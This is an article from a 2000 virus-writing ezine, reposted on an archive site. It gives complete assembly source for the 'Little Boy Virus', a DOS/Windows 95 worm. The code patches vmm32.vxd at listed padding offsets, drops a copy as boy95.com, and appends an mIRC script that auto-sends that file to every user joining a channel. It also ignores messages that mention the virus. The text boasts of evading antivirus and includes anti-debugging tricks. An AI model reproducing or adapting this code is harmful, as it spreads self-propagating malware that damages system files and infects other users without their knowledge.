Copy Link
Add to Bookmark
Report

G9N 1: Little Boy Virus (Y2K Version)

eZine's profile picture
Published in 
G9N Magazine
 · 12 Mar 2022

..o( Little Boy Virus (Y2K Version) )o....................[G9N-01.02].. 
: :
: Brief Description: Stupid IA, Basic Desicions, Modules, asm, 16 bit,:
: vmm32 n mIRC, may b new stuff may b a new coctail, chust LBV. :
: G9N issue Date: May 2000 :
: Author: The Spy :
:.....................................................................:


I think this 16 bit piece of code its like a pretty revival of DOS asm 16 bit codin... not really.

As u can c 1077 bytes r enough n too much for this babe, but i think that an 1k irc worm its very cool.

Some Words about Vmm32.vxd win95/98, Usefull Holes in vmm32.vxd:

U know that MS stinks a lot, so look into VMM32.vxd n search for some holes, like nulls, but something more interestin da 'DMPADMPADMPA...' holes, they r so pretty useful :) Chust check it.

I ve only tested da spanish versions, but i know that english one, would ve da holes too, dont know in da same offsets, but, let me tell u that da some holes r compatibles with other version holes, so we ve a very nice place to fit inside. Oh yeah, let fuck vmm32 hehe.

Remember that vmm32.vxd ve 16 bit code, if u can, read some book that can help u to understand what vmm32.vxd do.

Ok, go!

W95 Spanish Version:

  • Offset 0001:129B ('DMPA')
  • til 0001:356B so there r 8912 bytes (it finish in a 'D')
  • n Offset 0001:356C (nulls)
  • til 0001:3FFF so there r 2707 bytes
  • Total consecutive bytes: 11619

also 0000:F14E to 0001:0177 r 4137 null bytes n other blanks.

Code Segment 1: 400h to offset 971h there r 1392 bytes free.

In LBV, EAF0050000 in offset 9EBh pass to 2EFF160001 to my code ;)

W98 Spanish Version:

  • Offset 0000:DF0E ('MPAD')
  • til 0000:F6DD so there r 6095 bytes (it finish in a 'D')
  • n Offset 0000:F6DE (nulls)
  • til 0000:FFFF so there r 2337 bytes
  • Total consecutive bytes: 8432

also 0000:B24C to 0000:C275 r 4137 null bytes n other blanks.

The Spy,
fuck u mocosoft

;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;, 
; Little Boy Virus (Y2K Version)
; by The Spy
; Start codin: 20/02/2000
; Finished codin: 08/03/2000
; Size: 1077 bytes (It could b less but its an example of some things,
; includin da enormous space that da vmm32.vxd brings me!! :))
; Its new, Its dirty, Itsssssssssuxs! hehe
; Y2K Compliant ;D hehehe
; For win95 only (Designed for 4.00.950 B) X`DDD
;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,
;
; Da Borin Classic History:
; In da middle of 1995 i ve started codin a COM/EXE/SYS infector that
; i ve named littleboy cuz i will ve da payload in Aug 6th, 1995 in
; memory of da ppl that ve died for da atomic bomb in japan in 1945.
; I ve never finished it, n i want to bring littleboy virus back, now
; doin other things, like worm things, so here is it.
;
; New Version: 2000
; New Description:
; - Infects da win95 vmm32.vxd n it modifies da c:\mirc\mirc.ini to
; send a copy of itself as boy95.com hehe :)
; - Anti-Debugging (las mismas boludeces de siempre :))
; - Runtime Decide, Nop Module, Garbage Module, etc
;*- Implements my new encryption method (Carry Method) ]= NO TIME ]=
;*- Antidummie Check ]= NO TIME ]=
;*- Descamation ]= NO TIME ]=
;*? It Implements Vampirism ]= NO TESTED YET ]=
; - Payload: It uses da vmm32.vxd every run to show da string
;
; 'The Spy was here! :p'
;
;AVs Detections:
;
; - No one, of course.
;
; I know i ve not commented it as pretty well u want, but i want that
; u look in da source hehe, nice move ah? ;D
; Enjoy it :)
;
;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,

.286 ; a 286 runnin a win95/98? hahahaa so funny
.model tiny
.code
org 100h

play:
pusha

push cs
pop ds

; cmp ax,bx ; what r u doin?
; jne avanzo
; cmp cx,dx
; jnz avanzo
; jmp Its_a_Dummie ; dont trace me!
;avanzo:
mov ah,19h ; GET CURRENT DEFAULT DRIVE
int 21h
mov [curdriv],al; curdr:=al;

; mov ah,47h
; xor dx,dx
; lea si,curdire
; int 21h

mov ah,0Eh ; SELECT DEFAULT DRIVE
mov dl,2 ; 'C:'
int 21h

mov ah,3bh ; SET CURRENT DIRECTORY
lea dx,barra ; '\'
int 21h

mov ah,3Dh ; OPEN EXISTING FILE
lea dx,fname ; 'msdos.sys'
int 21h

;; ;;
; Hey, im codin like a Mocosoft coder ;
; - Int 21h lover ;) ;
;; ;;

mov bx,ax ; bx:=handle;
mov ah,3fh ; READ FROM FILE OR DEVICE
mov cx,50 ; bytes amount
lea dx,bosta ; where r da bytes goin to?
int 21h

mov si,dx ; si -> bosta
mov dx,'Dn' ; Wi'nD'ir
; xor cx,cx ; cx goes NULL
lookfor:
; shl ax,8 ; Save da old char
mov ah,al ; Save da old char
lodsb ; Load da new char
cmp dl,ah ; Its 'n' ?
jz thatone ; Yes, it is
; cmp al,cl ; No, Its a null?
jnz lookfor ; No, Look for a new char
; jmp Its_a_Dummie; Yes, there is no WinDir in msdos.sys
thatone:
cmp dl,ah ; Its 'D' ?
jnz lookfor ; Nope, go for da new char
add si,6 ; si ------------.
; 'WinDir=X:\' <-'
; lodsw ;ir
; lodsw ;=C
; lodsw ;:\
; now si points to da string

mov ah,3eh ; dont forget close da msdos.sys hehe ;P
int 21h

lea di,bosta ; choose recipient
other:
lodsb ; Load byte
cmp al,0Dh ; Its 0Dh ?
jz stop ; Yep, Ive finished movin bytes
stosb ; Nope, Ive to copy
jmp other ; go for another byte
stop:
lea si,barra ; .----.
mov byte ptr[si+1],53h ; put da 'S' '\SYSTEM',0
; I save a byte ;) overwritin da null
movsw ; copy da '\SYSTEM',0
movsw
movsw
movsw
movsb ; we need to place da null too
mov ah,3bh ; SET CURRENT DIRECTORY
lea dx,bosta ; WinDir + '\SYSTEM',0
int 21h
jnc segui
jmp Its_a_Dummie

segui:
mov ax,3D02h ;Open Read n Write
lea dx,vmm32 ;File Name
int 21h ;...
jnc Infect_VMM32 ;
jmp exit ;error? what? da system does not ve da
;vmm32.vxd ??? well, its not a w95/98

;jumptome db 0EAh,00h,00h,00h,00h
;jumptohim db 0EAh,0F0h,05h,00h,00h

callmeplz: call cs:0100h ; 2Eh,0FFh,16h,00h,01h

;why 100h ?, cuz 500h - 400h its emm.. 100h :) shit it works :D

Infect_VMM32:

mov ah,3Fh ;lets gonna read
mov cx,32h
lea dx,bosta
int 21h

cmp word ptr [bosta+14h],1707h ; i check if its w95 vmm32.vxd
jz aja ; with da entry point
jmp body ; if isnt, just getout this pc!
aja:
mov bp,20
bp_repeat:
mov ax,4200h ;move file pointer from file's begining
xor cx,cx ;0000:
src:
mov dx,0500h ;0500h
int 21h ;DMPADMPADMPADMPADMPA..0000000000000000

mov ah,3Fh ;lets gonna read
mov cx,50
lea dx,bosta
int 21h

cmp word ptr [bosta],0E60h ; i know, i know, its slow but
jnz vamo ; if i place a check before da
jmp body ; file grows too much to fit,
; so i must place da check into
; da bp_repeat loop DAMN!
; it works fine 8D!
vamo:
mov ax,4200h ;move file pointer from file's begining
xor cx,cx ;
inc cl ;0001:
dst:
mov dx,219Bh ;219Bh
int 21h ;DMPADMPADMPADMPADMPA..0000000000000000

mov ah,40h ;lets gonna write
mov cx,50
lea dx,bosta
int 21h

dec bp
cmp bp,0
jz sigasiga
add word ptr [src+1],50
add word ptr [dst+1],50
jmp bp_repeat

sigasiga:

mov ax,4200h ;move file pointer from file's begining
xor cx,cx ;0000:
mov dx,0500h ;0500h
int 21h ;DMPADMPADMPADMPADMPA..0000000000000000

mov ah,40h ;lets gonna write
mov cx,(endplay-play) ;what im goin to write??...
lea dx,play ;initial point
int 21h ;to write it

mov ax,4200h ;move file pointer from file's begining
xor cx,cx ;0000:
mov dx,09EBh ;09EBh
int 21h ;DMPADMPADMPADMPADMPA..0000000000000000

mov ah,40h ;lets gonna write
mov cx,5 ;what im goin to write??...
lea dx,callmeplz ;initial point
int 21h ;to write it

mov ah,3eh ; dont forget close da vmm32.vxd too...
int 21h

lea si,barra ; .----.
mov byte ptr[si+1],00h ; put da null '\SYSTEM',0
mov ah,3bh ; SET CURRENT DIRECTORY
lea dx,barra ; '\'
int 21h

; mov ah,3bh ; SET CURRENT DIRECTORY
; lea dx,curdire ; dx -> curdire
; int 21h

mov ah,0Eh ; SELECT DEFAULT DRIVE
mov dl,[curdriv] ; dl:=curdriv;
int 21h

jmp body

curdriv db 02h
fname db 'msdos.sys',00h
barra db '\',0
system db 'YSTEM',0
vmm32 db 'vmm32.vxd',00h
bosta db 50 dup (00h)
;curdire db 64 dup (00h)

Check_Dummie: ; No time, but im goin to code it in da future, i guess

Its_a_Dummie:
; jmp exit

body:
cli

in al,21h ; Keyboard Out
or al,02h
out 21h,al

push ax ; Stack Check
pop dx
dec sp
dec sp
pop cx

sti

; call delta
;delta:
; pop di
; add di,(behappy-delta+6); di:=offset behappy;
cmp cx,dx ; its to meeeeee?
jz behappy ; if cx=dx then im runnin ok
mov al,90h ; else overwrite virus source with nops
; i know its a very old trick, but who
; cares? its pretty nasty, i like it :)
chustloop:
stosb ; put a fuckin nop
call listop ; yeah kewl
jmp chustloop ; go for da next one

behappy:

db 'THESPY' ; what da fuck r u doin?

;push sp ; 'T'
;dec ax ; 'H'
;inc bp ; 'E'
;push bx ; 'S'
;push ax ; 'P'
;pop cx ; 'Y'

add sp,4 ; chust fix da stupid way to sign X`DDD

Check_Residency: ; now its a joke ;D

;, ,;;;;;;;;;;;;;;;,;;;; TEST ONLY ;;;;,;;;;;;;;;;;;;;;, ,;
;;;,;;;,;;;;;;;;;;;;;;;;;;; Works Great! :D ;;;;;;;;;;;;;;;;;;;,;;;,;;;

Decide_What_To_Do:
; Random Life hehehe, this virus belives in destiny ;D
in ax,40h ; Some Veryveryvery Stupid IA (if i can say IA)
add al,ah ; Chust da first step, i ve think more... wait!
shr al,4 ; OK, chust test da first nibble bits
test al,1 ; 1st bit
jnz MN ; Nop_Module
test2:
test al,2 ; 2nd bit
jnz MG ; Garbage_Module
test4:
test al,4 ; 4th bit
jnz PS ; Set Payload n Make da next run execute MGifMN
; or if MGifMN then restore
test8:
test al,8 ; 8th bit
jnz CC ; Create_COM

jmp Exit ; Ok, now, get out of here

MN:
call Nop_Module
jmp test2
MG:
call Garbage_Module
jmp test4
PS:
mov byte ptr [payload],01h
cmp word ptr [test2],9090h
jz restore
mov word ptr [test2],9090h ; i can optimize that but i
jmp test8 ; think this way is more easy
restore: ; to understand, so it is here
mov word ptr [test2],02A8h
jmp test8
CC:
call Create_COM ; It will infect mIRC also
jmp Exit ; Ok, now, get out of here

Nop_Module:
nopdup db 19 dup (90h)
ret

Garbage_Module: ; hehe, Garbage_Module? Shit_Module! X`DDD
lea di,bullshit
mov cx,8
luphere:
in al,40h
stosb
dec cx
jnz luphere
ret
bullshit:
damn db 9 dup (?)

Create_COM:

mov ah,3bh ; SET CURRENT DIRECTORY
lea dx,mircdir ; 'c:\mirc'
int 21h
jc strike3

mov ah,3Ch ; create a .com to send via irc
xor cx,cx ;...
lea dx,comname
int 21h
jc strike3

xchg ax,bx ; bx=handle

mov ah,40h ;lets gonna write
mov cx,(endplay-play) ;what im goin to write??...
lea dx,play ;initial point
int 21h ;to write it

mov ah,3Eh ; dont forget close da boy95.com
int 21h

Infect_Mirc_Ini:

lea si,mircini ; im savin a whole total of
mov byte ptr [si-1],'m' ; 2 enormous bytes with this move X)

mov ax,3D02h ;Open Read n Write
lea dx,mircdir ;File Name
int 21h ;...
jc strike3 ; damn! ive decide to dont create a new
; mirc.ini, i think we must not say
; 'Hello! im here!' so easy.

xchg ax,bx ; bx=handle

mIRC_Ini_Infection_Check:

mov ax,4202h ;to da end of da file
xor cx,cx
xor dx,dx
int 21h

xchg dx,ax ;cx:dx=filesize

mov ax,4200h ;to da end of da file-6
sub dx,6
int 21h

mov ah,3Fh ; read 2 bytes
mov cx,2
lea dx,mircdir ; Use it, anyway it will no affect nothing
int 21h

mov ax,'ci' ; checks for $n'ic'k well, it so shitty, but
cmp word ptr [mircdir],ax ; who da fuck cares?
je strike3

mov ax,4202h ;to da end of da file
xor cx,cx
xor dx,dx
int 21h

mov ah,40h ; write da script
mov cx,ak-script
lea dx,script
int 21h

mov ah,3Eh ; close da file
int 21h

strike3:
ret ; ret to da decision module

mircdir db 'c:\mirc\',0
mircini db 'irc.ini',0
comname db 'c:\mirc\boy95.com',0
script db 13,10,'[script]',13,10
n0 db 'n0=; Little Boy Virus (Y2K Version) The Spy',13,10
n1 db 'n1=ON 1:JOIN:#:{ /if ( $nick != $me )'
db ' { /dcc send $nick $mircdirboy95.com | '
db '/ignore $nick }',13,10
n2 db 'n2=ON 1:TEXT:*boy95*:*:/ignore $nick',13,10
n3 db 'n3=ON 1:TEXT:*LittleBoy*:*:/ignore $nick',13,10
n4 db 'n4=ON 1:TEXT:*LBV*:*:/ignore $nick',13,10
n5 db 'n5=ON 1:TEXT:*infect*:*:/ignore $nick',13,10
zero db 0
ak: ; im abusin of labels so dont tell that i dont refernce
; clearly :]

;Infect_Pirch:
;u sure? well not implemented

;Infect_PE:
;da pe dos stub infection, nah

;Generate_SCR:
;n put it in \mirc\download, TSVT isnt finished, so wait

listop: ; why????
ret ; cuz when ret became nop, it will exit, hehee

Exit:

lea si,payload ; Check for payload
xor bx,bx ; bx=00h
inc bl ; bx=01h
cmp byte ptr[si],bl ;01h
jnz GetOutNow ; if not payload then exit;
shl bx,4 ; bx=10h
sub si,bx ;10h, now si points to author
shl bx,1 ; bx=20h
mov byte ptr[si],bl ;20h, now put a space over da '$'
mov ax,0900h ; thats my way
lea dx,autor
int 21h
GetOutNow:
in al,21h ; Keyboard In
and al,not 2
out 21h,al

mov ax,3D02h ;Open Read n Write
lea dx,vmm32 ;File Name
int 21h ;...

mov ax,4200h ;move file pointer from file's begining
xor cx,cx ;
inc cl ;0001:
mov dx,219Bh ;219Bh
int 21h ;DMPADMPADMPADMPADMPA..0000000000000000

mov ah,3Fh ; lets gonna read
mov cx,1050
mov dx,0100h
int 21h

mov ah,3Eh
int 21h

popa
ret
Virus db 'Little Boy Virus$'
Autor db 'The Spy$' ; 2da vz, pa los AVers idiotas
db 'was here! :p$'
VirSize db 0000h ; for compatibility
VirBody db 00h ; like MS systems, u know
Payload db 00h

endplay:
end play

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT